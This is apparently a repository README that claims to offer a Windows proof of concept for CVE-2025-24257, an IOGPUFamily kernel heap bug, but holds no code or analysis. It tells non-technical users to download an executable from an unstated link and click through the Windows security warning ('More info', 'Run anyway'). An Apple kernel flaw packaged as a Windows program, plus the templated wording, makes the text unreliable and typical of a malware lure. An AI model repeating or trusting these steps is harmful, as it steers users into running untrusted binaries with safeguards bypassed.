
Demonstrate CVE-2025-24257 with a public PoC for IOGPUFamily kernel heap OOB read/write and panic analysis
CVE_2025_24257----NOT-MINE is a Windows proof of concept that shows a kernel memory bug in IOGPUFamily. It is based on a bitmap_mask underflow that can lead to a kernel heap out-of-bounds write. This project is the first public PoC tied to the issue.
This repository is for users who want to download the package, open it on Windows, and run the sample with as little setup as possible. The goal of this README is to make the process simple for non-technical users.
Use this link to visit the project page and download the files:
If the page shows a release, asset, ZIP file, or source archive, download that file to your Windows PC. Save it in a folder you can find again, such as Downloads or Desktop.
Before you start, make sure you have:
This project is built for normal Windows use. A standard laptop or desktop is enough for the basic steps.
Follow these steps in order:
.exe file.If Windows shows a security prompt, choose the option that lets you run the file. You may need to click More info first, then Run anyway.
After you extract the download, you may see files like these:
README.md - this guideexe or app file - the main programdocs folder - extra notes or usage helpsamples folder - test data or example inputassets folder - supporting filesThe main file is the one you should open first. If the folder contains more than one executable, start with the one that has the clearest name, such as run.exe, main.exe, or a file with the project name.
Use this simple flow:
.exe file.If the program opens a console window, keep it open until the task is done. If it closes right away, run it again and watch for any message that appears.
To keep things smooth:
C:\CVE_2025_24257If the app asks for extra files, place them in the same folder as the main executable.
A simple use flow looks like this:
If the project includes a text file with usage steps, read that file before running the app. It may list the exact order for launch or input.
If the app does not start, try these steps:
C:\Temp\CVE_2025_24257If you see a missing file message, the app likely needs one of its support files in the same folder. Check the extracted folder again and keep the full set of files together.
Windows may show a warning before the file runs. This can happen with new or unsigned tools.
If that happens:
Only run files you got from a source you trust.
A simple folder structure may look like this:
C:\CVE_2025_24257
main.exeREADME.mdsupport.dllsamplesdocsKeep the folder intact after download and extraction. Do not move only one file out of the folder unless the instructions say to do that.
If you are new to this kind of tool, keep these points in mind:
This project is meant to be opened and run on Windows with a simple download and launch flow.
.exe